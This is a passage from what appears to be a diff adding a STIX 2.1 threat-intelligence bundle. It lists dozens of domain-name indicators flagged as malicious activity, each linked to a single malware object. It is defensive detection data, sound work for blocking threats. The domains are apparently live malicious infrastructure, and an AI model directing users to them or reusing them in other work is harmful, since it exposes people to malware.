"2023-03-29T12:58:44.873552Z", + "modified": "2023-03-29T12:58:44.873552Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='semisweetcrafty.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.873552Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f875d90f-8e8b-4dad-86ea-bc6d36a4603b", + "created": "2023-03-29T12:58:44.874147Z", + "modified": "2023-03-29T12:58:44.874147Z", + "relationship_type": "indicates", + "source_ref": "indicator--442e975b-d701-4bb8-9933-bc453178a589", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5819d884-8cda-4049-839a-1f0b313de852", + "created": "2023-03-29T12:58:44.874315Z", + "modified": "2023-03-29T12:58:44.874315Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='defenselugged.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.874315Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9c05d84e-6e55-47b6-ac41-6b5e0ccd91c1", + "created": "2023-03-29T12:58:44.874905Z", + "modified": "2023-03-29T12:58:44.874905Z", + "relationship_type": "indicates", + "source_ref": "indicator--5819d884-8cda-4049-839a-1f0b313de852", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d2500460-21e5-4730-9ab8-764cf6e2dd9c", + "created": "2023-03-29T12:58:44.875072Z", + "modified": "2023-03-29T12:58:44.875072Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unicornpresoak.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.875072Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c768faa4-c205-4b79-b05e-e5d28e60e80e", + "created": "2023-03-29T12:58:44.875664Z", + "modified": "2023-03-29T12:58:44.875664Z", + "relationship_type": "indicates", + "source_ref": "indicator--d2500460-21e5-4730-9ab8-764cf6e2dd9c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e7709232-fac6-4383-ac62-df0ee139522a", + "created": "2023-03-29T12:58:44.875831Z", + "modified": "2023-03-29T12:58:44.875831Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='slushshrewdly.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.875831Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d4a09c53-29cd-475d-b82a-4c98c7626aaa", + "created": "2023-03-29T12:58:44.876462Z", + "modified": "2023-03-29T12:58:44.876462Z", + "relationship_type": "indicates", + "source_ref": "indicator--e7709232-fac6-4383-ac62-df0ee139522a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--759d3eb5-10fc-4972-9908-98004332a7aa", + "created": "2023-03-29T12:58:44.876639Z", + "modified": "2023-03-29T12:58:44.876639Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vhelpu.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.876639Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--78790d58-aacc-4f7a-8783-7a8097cc5917", + "created": "2023-03-29T12:58:44.877227Z", + "modified": "2023-03-29T12:58:44.877227Z", + "relationship_type": "indicates", + "source_ref": "indicator--759d3eb5-10fc-4972-9908-98004332a7aa", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6f57f536-a112-4038-97de-8163e76cf876", + "created": "2023-03-29T12:58:44.877397Z", + "modified": "2023-03-29T12:58:44.877397Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='luremultitude.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.877397Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cd708628-d0b4-42e7-a434-120d02b87d06", + "created": "2023-03-29T12:58:44.878004Z", + "modified": "2023-03-29T12:58:44.878004Z", + "relationship_type": "indicates", + "source_ref": "indicator--6f57f536-a112-4038-97de-8163e76cf876", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9d760f37-0df6-40bb-b2c1-650be4838d8e", + "created": "2023-03-29T12:58:44.878173Z", + "modified": "2023-03-29T12:58:44.878173Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='culpritsiding.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.878173Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e240115b-0aa9-4717-a9dd-34c532c81aaf", + "created": "2023-03-29T12:58:44.87888Z", + "modified": "2023-03-29T12:58:44.87888Z", + "relationship_type": "indicates", + "source_ref": "indicator--9d760f37-0df6-40bb-b2c1-650be4838d8e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d6642dd8-77c1-46f5-b843-4bc12a648b6f", + "created": "2023-03-29T12:58:44.879052Z", + "modified": "2023-03-29T12:58:44.879052Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='connectedlimes.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.879052Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--80b141d4-cac3-467d-a4f4-5acc26adb4cb", + "created": "2023-03-29T12:58:44.879646Z", + "modified": "2023-03-29T12:58:44.879646Z", + "relationship_type": "indicates", + "source_ref": "indicator--d6642dd8-77c1-46f5-b843-4bc12a648b6f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4f4014f9-66ce-48f8-bad8-d6b18cbf7d5e", + "created": "2023-03-29T12:58:44.879814Z", + "modified": "2023-03-29T12:58:44.879814Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shopliftgrandma.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.879814Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7324f928-a47e-48b4-b5b6-5c5bd3efc6d3", + "created": "2023-03-29T12:58:44.880409Z", + "modified": "2023-03-29T12:58:44.880409Z", + "relationship_type": "indicates", + "source_ref": "indicator--4f4014f9-66ce-48f8-bad8-d6b18cbf7d5e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b672cbf6-e00d-476a-b674-f885821cd7f0", + "created": "2023-03-29T12:58:44.880577Z", + "modified": "2023-03-29T12:58:44.880577Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='synapsepaying.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.880577Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d79b43a5-85ac-4882-a6a6-01b55a984fb8", + "created": "2023-03-29T12:58:44.881174Z", + "modified": "2023-03-29T12:58:44.881174Z", + "relationship_type": "indicates", + "source_ref": "indicator--b672cbf6-e00d-476a-b674-f885821cd7f0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0a32e80d-7cac-4470-b824-62520ae85435", + "created": "2023-03-29T12:58:44.881342Z", + "modified": "2023-03-29T12:58:44.881342Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stucksquishier.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.881342Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--02828f86-f427-4d17-a01d-98c3fac1fdec", + "created": "2023-03-29T12:58:44.882164Z", + "modified": "2023-03-29T12:58:44.882164Z", + "relationship_type": "indicates", + "source_ref": "indicator--0a32e80d-7cac-4470-b824-62520ae85435", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d73cbffe-d24e-4253-a060-647c95f93a6b", + "created": "2023-03-29T12:58:44.88236Z", + "modified": "2023-03-29T12:58:44.88236Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='zealouslint.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.88236Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a6961d7a-55ff-4837-af4d-2dc4e38b2843", + "created": "2023-03-29T12:58:44.882955Z", + "modified": "2023-03-29T12:58:44.882955Z", + "relationship_type": "indicates", + "source_ref": "indicator--d73cbffe-d24e-4253-a060-647c95f93a6b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--445cf845-9cc9-40cc-9fbe-35ea7b0aa9e8", + "created": "2023-03-29T12:58:44.883124Z", + "modified": "2023-03-29T12:58:44.883124Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chummysimplify.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.883124Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e647cac1-0a1f-4e86-a5f4-f98eaa9a53f9", + "created": "2023-03-29T12:58:44.883722Z", + "modified": "2023-03-29T12:58:44.883722Z", + "relationship_type": "indicates", + "source_ref": "indicator--445cf845-9cc9-40cc-9fbe-35ea7b0aa9e8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5ab3f57f-4333-4e13-8d3d-f5bd4b8eeec4", + "created": "2023-03-29T12:58:44.88389Z", + "modified": "2023-03-29T12:58:44.88389Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='finalstill.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.88389Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9e08ed32-42af-4841-93b0-b238d81b828a", + "created": "2023-03-29T12:58:44.884478Z", + "modified": "2023-03-29T12:58:44.884478Z", + "relationship_type": "indicates", + "source_ref": "indicator--5ab3f57f-4333-4e13-8d3d-f5bd4b8eeec4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--95778c36-67fc-41c8-bb5d-bb21304d9359", + "created": "2023-03-29T12:58:44.884646Z", + "modified": "2023-03-29T12:58:44.884646Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vocalizeappealing.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.884646Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7ec7e4be-8dc1-4c66-be64-0d841639513d", + "created": "2023-03-29T12:58:44.885243Z", + "modified": "2023-03-29T12:58:44.885243Z", + "relationship_type": "indicates", + "source_ref": "indicator--95778c36-67fc-41c8-bb5d-bb21304d9359", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c9a23334-f8e8-47ae-bf8c-506fa0ddf7d6", + "created": "2023-03-29T12:58:44.885429Z", + "modified": "2023-03-29T12:58:44.885429Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dazzlerahoy.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.885429Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--90f952d7-9089-44bb-81d1-0b384a4257ee", + "created": "2023-03-29T12:58:44.886422Z", + "modified": "2023-03-29T12:58:44.886422Z", + "relationship_type": "indicates", + "source_ref": "indicator--c9a23334-f8e8-47ae-bf8c-506fa0ddf7d6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2303f4f1-ba51-4241-b4e6-3c97b09e5952", + "created": "2023-03-29T12:58:44.886598Z", + "modified": "2023-03-29T12:58:44.886598Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='exemplaryimpose.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.886598Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2e98bb5e-467a-41c1-9eb6-027c03ea3c75", + "created": "2023-03-29T12:58:44.887199Z", + "modified": "2023-03-29T12:58:44.887199Z", + "relationship_type": "indicates", + "source_ref": "indicator--2303f4f1-ba51-4241-b4e6-3c97b09e5952", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3beeb3ff-d22f-48b3-b29a-a01cd4353f3f", + "created": "2023-03-29T12:58:44.887369Z", + "modified": "2023-03-29T12:58:44.887369Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='starlitstopwatch.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.887369Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--631e9169-8f05-40ee-88a7-713793417b0c", + "created": "2023-03-29T12:58:44.887966Z", + "modified": "2023-03-29T12:58:44.887966Z", + "relationship_type": "indicates", + "source_ref": "indicator--3beeb3ff-d22f-48b3-b29a-a01cd4353f3f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--768ba9b7-1a26-4edb-965b-29a82beabd44", + "created": "2023-03-29T12:58:44.888135Z", + "modified": "2023-03-29T12:58:44.888135Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cityresolved.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.888135Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aade4fd6-0a6c-4e7b-bc0d-8d76e2ad1213", + "created": "2023-03-29T12:58:44.888724Z", + "modified": "2023-03-29T12:58:44.888724Z", + "relationship_type": "indicates", + "source_ref": "indicator--768ba9b7-1a26-4edb-965b-29a82beabd44", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--95235bcf-eb06-41bc-b402-09d21ddeb071", + "created": "2023-03-29T12:58:44.888891Z", + "modified": "2023-03-29T12:58:44.888891Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='forsuit.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.888891Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d38ea28b-0b99-42a3-9f72-89a3bfa1403d", + "created": "2023-03-29T12:58:44.889472Z", + "modified": "2023-03-29T12:58:44.889472Z", + "relationship_type": "indicates", + "source_ref": "indicator--95235bcf-eb06-41bc-b402-09d21ddeb071", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--59839075-32c5-47d8-984f-b139925b12db", + "created": "2023-03-29T12:58:44.889649Z", + "modified": "2023-03-29T12:58:44.889649Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ducktailliqueur.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.889649Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4df892c9-4eb2-4ac9-b71e-253e64a48a54", + "created": "2023-03-29T12:58:44.890242Z", + "modified": "2023-03-29T12:58:44.890242Z", + "relationship_type": "indicates", + "source_ref": "indicator--59839075-32c5-47d8-984f-b139925b12db", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b51c138c-1783-476c-8349-248c8b632390", + "created": "2023-03-29T12:58:44.89041Z", + "modified": "2023-03-29T12:58:44.89041Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lickingguiding.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.89041Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--05834681-39dd-4240-812e-78843844bac5", + "created": "2023-03-29T12:58:44.890998Z", + "modified": "2023-03-29T12:58:44.890998Z", + "relationship_type": "indicates", + "source_ref": "indicator--b51c138c-1783-476c-8349-248c8b632390", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--12efec41-05bc-475d-911f-33c9768f544f", + "created": "2023-03-29T12:58:44.891166Z", + "modified": "2023-03-29T12:58:44.891166Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='finaboasto.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.891166Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1b476c0d-7cb6-4462-b6b3-cc594c8cca7d", + "created": "2023-03-29T12:58:44.891754Z", + "modified": "2023-03-29T12:58:44.891754Z", + "relationship_type": "indicates", + "source_ref": "indicator--12efec41-05bc-475d-911f-33c9768f544f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6de6e416-5dd1-4ea9-8294-166c7949064c", + "created": "2023-03-29T12:58:44.891924Z", + "modified": "2023-03-29T12:58:44.891924Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='duressdeeply.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.891924Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7f03171e-32a2-4cb4-beb3-2d0b73091c65", + "created": "2023-03-29T12:58:44.892513Z", + "modified": "2023-03-29T12:58:44.892513Z", + "relationship_type": "indicates", + "source_ref": "indicator--6de6e416-5dd1-4ea9-8294-166c7949064c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--afd88fca-2f6c-44d7-8647-e26446e7615c", + "created": "2023-03-29T12:58:44.89268Z", + "modified": "2023-03-29T12:58:44.89268Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fornochelsea.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.89268Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2881684e-f375-4839-bf50-ef709ebcc419", + "created": "2023-03-29T12:58:44.893273Z", + "modified": "2023-03-29T12:58:44.893273Z", + "relationship_type": "indicates", + "source_ref": "indicator--afd88fca-2f6c-44d7-8647-e26446e7615c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3d07b7ca-65f3-454c-9511-35d0f801d824", + "created": "2023-03-29T12:58:44.893441Z", + "modified": "2023-03-29T12:58:44.893441Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scaredcatalyst.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.893441Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5cd1eb55-a982-4f23-99a9-5b09cfcbbb93", + "created": "2023-03-29T12:58:44.894162Z", + "modified": "2023-03-29T12:58:44.894162Z", + "relationship_type": "indicates", + "source_ref": "indicator--3d07b7ca-65f3-454c-9511-35d0f801d824", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8da1b477-d4c6-4856-a1b6-4a59de287582", + "created": "2023-03-29T12:58:44.894333Z", + "modified": "2023-03-29T12:58:44.894333Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='windwhensolar.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.894333Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2b4cdf9f-9dc6-4917-becc-587da58fd90f", + "created": "2023-03-29T12:58:44.894928Z", + "modified": "2023-03-29T12:58:44.894928Z", + "relationship_type": "indicates", + "source_ref": "indicator--8da1b477-d4c6-4856-a1b6-4a59de287582", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--564a615f-e053-488f-8c3e-7c5bdaaaec2e", + "created": "2023-03-29T12:58:44.895096Z", + "modified": "2023-03-29T12:58:44.895096Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wrathpushcart.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.895096Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f20a67e0-7d04-4dd4-a6d6-03bc4eb7d466", + "created": "2023-03-29T12:58:44.895686Z", + "modified": "2023-03-29T12:58:44.895686Z", + "relationship_type": "indicates", + "source_ref": "indicator--564a615f-e053-488f-8c3e-7c5bdaaaec2e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7713ac62-0d5e-4253-bc82-b766e7d1267e", + "created": "2023-03-29T12:58:44.895856Z", + "modified": "2023-03-29T12:58:44.895856Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='likethespirit.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.895856Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c52dfc73-8c39-42fe-ab09-3b6438f86b31", + "created": "2023-03-29T12:58:44.896448Z", + "modified": "2023-03-29T12:58:44.896448Z", + "relationship_type": "indicates", + "source_ref": "indicator--7713ac62-0d5e-4253-bc82-b766e7d1267e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f1bb6515-db50-4627-9fd4-0b53a04f08c2", + "created": "2023-03-29T12:58:44.896617Z", + "modified": "2023-03-29T12:58:44.896617Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='glacierheaded.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.896617Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a4834e7b-8eb5-4aa0-b043-537f35b0e8ee", + "created": "2023-03-29T12:58:44.89721Z", + "modified": "2023-03-29T12:58:44.89721Z", + "relationship_type": "indicates", + "source_ref": "indicator--f1bb6515-db50-4627-9fd4-0b53a04f08c2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ccdb9c92-e8cc-42b2-93bc-8ad5742b3042", + "created": "2023-03-29T12:58:44.897378Z", + "modified": "2023-03-29T12:58:44.897378Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gallantlyhandwork.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.897378Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ed9b26c3-bb8e-4802-8d69-6a06bc0727e7", + "created": "2023-03-29T12:58:44.897982Z", + "modified": "2023-03-29T12:58:44.897982Z", + "relationship_type": "indicates", + "source_ref": "indicator--ccdb9c92-e8cc-42b2-93bc-8ad5742b3042", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d41dd88e-eeb4-4365-907f-e88d1a22c8dc", + "created": "2023-03-29T12:58:44.89815Z", + "modified": "2023-03-29T12:58:44.89815Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='junctureaffix.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.89815Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f1834361-d470-48df-b0e3-d0f9a6b5adbe", + "created": "2023-03-29T12:58:44.898743Z", + "modified": "2023-03-29T12:58:44.898743Z", + "relationship_type": "indicates", + "source_ref": "indicator--d41dd88e-eeb4-4365-907f-e88d1a22c8dc", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--abfd5668-eab8-4ff3-bf80-c0d10f9510a7", + "created": "2023-03-29T12:58:44.898911Z", + "modified": "2023-03-29T12:58:44.898911Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='guitarnotes.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.898911Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--65296075-4f49-4c79-b298-f8415e7d40fb", + "created": "2023-03-29T12:58:44.8995Z", + "modified": "2023-03-29T12:58:44.8995Z", + "relationship_type": "indicates", + "source_ref": "indicator--abfd5668-eab8-4ff3-bf80-c0d10f9510a7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b694535d-6eea-44ee-8462-18bed4ea091e", + "created": "2023-03-29T12:58:44.899669Z", + "modified": "2023-03-29T12:58:44.899669Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='petticoatzippy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.899669Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--73f579aa-dfd1-42b9-8780-8f5332a2ede2", + "created": "2023-03-29T12:58:44.900259Z", + "modified": "2023-03-29T12:58:44.900259Z", + "relationship_type": "indicates", + "source_ref": "indicator--b694535d-6eea-44ee-8462-18bed4ea091e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3039cb41-e806-4d2d-b08f-fbeb2332b6dd", + "created": "2023-03-29T12:58:44.900425Z", + "modified": "2023-03-29T12:58:44.900425Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='iodinequarrel.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.900425Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--559bf9e0-5a47-4b8e-884c-13f4e75f2dae", + "created": "2023-03-29T12:58:44.901133Z", + "modified": "2023-03-29T12:58:44.901133Z", + "relationship_type": "indicates", + "source_ref": "indicator--3039cb41-e806-4d2d-b08f-fbeb2332b6dd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4c4923a7-b0fd-4331-b8c6-6d15ea6f2658", + "created": "2023-03-29T12:58:44.901306Z", + "modified": "2023-03-29T12:58:44.901306Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='broadsideriveting.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.901306Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2cc95c25-6404-4a62-9635-ac9724f5c615", + "created": "2023-03-29T12:58:44.901927Z", + "modified": "2023-03-29T12:58:44.901927Z", + "relationship_type": "indicates", + "source_ref": "indicator--4c4923a7-b0fd-4331-b8c6-6d15ea6f2658", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--862ea7b3-e539-43d8-a2d7-b8973ce70f71", + "created": "2023-03-29T12:58:44.902097Z", + "modified": "2023-03-29T12:58:44.902097Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chewablegallstone.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.902097Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--67103ca7-c62c-42b5-8d91-a6341059c3e5", + "created": "2023-03-29T12:58:44.902693Z", + "modified": "2023-03-29T12:58:44.902693Z", + "relationship_type": "indicates", + "source_ref": "indicator--862ea7b3-e539-43d8-a2d7-b8973ce70f71", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": 